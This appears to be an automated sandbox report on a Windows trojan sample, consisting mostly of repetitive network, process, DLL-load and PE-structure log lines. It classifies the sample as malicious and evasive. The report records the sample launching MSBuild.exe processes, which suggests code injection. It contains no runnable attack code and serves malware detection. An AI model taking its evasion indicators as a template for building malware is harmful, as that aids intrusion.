Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60394
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60393
Source: unknown	Network traffic detected: HTTP traffic on port 60406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60293
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60288
Source: unknown	Network traffic detected: HTTP traffic on port 60394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60287
Source: unknown	Network traffic detected: HTTP traffic on port 60264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60285
Source: unknown	Network traffic detected: HTTP traffic on port 60451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60283
Source: unknown	Network traffic detected: HTTP traffic on port 60476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60334
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60454
Source: unknown	Network traffic detected: HTTP traffic on port 60324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60453
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60339
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60338
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60337
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60335
Source: unknown	Network traffic detected: HTTP traffic on port 60347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60456
Source: unknown	Network traffic detected: HTTP traffic on port 60276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60345
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60344
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60343
Source: unknown	Network traffic detected: HTTP traffic on port 60453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60461
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60460
Source: unknown	Network traffic detected: HTTP traffic on port 60287 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60349
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60469
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60347
Source: unknown	Network traffic detected: HTTP traffic on port 60382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60467
Source: unknown	Network traffic detected: HTTP traffic on port 60359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60480
Source: unknown	Network traffic detected: HTTP traffic on port 60464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60477
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60476
Source: unknown	Network traffic detected: HTTP traffic on port 60265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60475
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60353
Source: unknown	Network traffic detected: HTTP traffic on port 60429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60473
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60472
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60471
Source: unknown	Network traffic detected: HTTP traffic on port 60288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60470
Source: unknown	Network traffic detected: HTTP traffic on port 60303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60478
Source: unknown	Network traffic detected: HTTP traffic on port 60299 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60491
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60490
Source: unknown	Network traffic detected: HTTP traffic on port 60314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60367
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60488
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60486
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60361
Source: unknown	Network traffic detected: HTTP traffic on port 60407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60482
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60360
Source: unknown	Network traffic detected: HTTP traffic on port 60430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60481
Source: unknown	Network traffic detected: HTTP traffic on port 60497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60489
Source: unknown	Network traffic detected: HTTP traffic on port 60443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60489 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60363 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60299
Source: unknown	Network traffic detected: HTTP traffic on port 60456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60297
Source: unknown	Network traffic detected: HTTP traffic on port 60433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60296
Source: unknown	Network traffic detected: HTTP traffic on port 60410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60294
Source: unknown	Network traffic detected: HTTP traffic on port 60362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60351 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60319 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60355 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60258 -> 443

Source: unknown

HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.4:49743 version: TLS 1.2

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_00582021	0_2_00582021
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_0058729C	0_2_0058729C
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_0059D39B	0_2_0059D39B
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_0059572C	0_2_0059572C
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_005D094F	0_2_005D094F
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_0058CAF2	0_2_0058CAF2
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_0059BB36	0_2_0059BB36
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_00593C92	0_2_00593C92
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_00581D79	0_2_00581D79
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_0058FEF0	0_2_0058FEF0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: String function: 00587B80 appears 49 times

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7000 -s 272

Source: 5rVhexjLCx.exe, 00000000.00000000.1804354494.00000000005FC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs 5rVhexjLCx.exe
Source: 5rVhexjLCx.exe	Binary or memory string: OriginalFilenameproquota.exej% vs 5rVhexjLCx.exe

Source: 5rVhexjLCx.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 5rVhexjLCx.exe

Static PE information: Section: .data ZLIB complexity 0.98996875

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/5@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\INAM1FG6.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7000

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\a5fcf641-bfc1-4c7d-acee-a6a4cdc4e359

Jump to behavior

Source: 5rVhexjLCx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5rVhexjLCx.exe

ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Users\user\Desktop\5rVhexjLCx.exe "C:\Users\user\Desktop\5rVhexjLCx.exe"
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7000 -s 272
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 5rVhexjLCx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 5rVhexjLCx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 5rVhexjLCx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 5rVhexjLCx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 5rVhexjLCx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 5rVhexjLCx.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 5rVhexjLCx.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: 5rVhexjLCx.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: 5rVhexjLCx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 5rVhexjLCx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 5rVhexjLCx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 5rVhexjLCx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 5rVhexjLCx.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0041C03D LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

2_2_0041C03D

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_005871AD push ecx; ret	0_2_005871C0
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_005C7F0D push ecx; ret	0_2_005C7F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041B035 push ecx; ret	2_2_0041B048

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
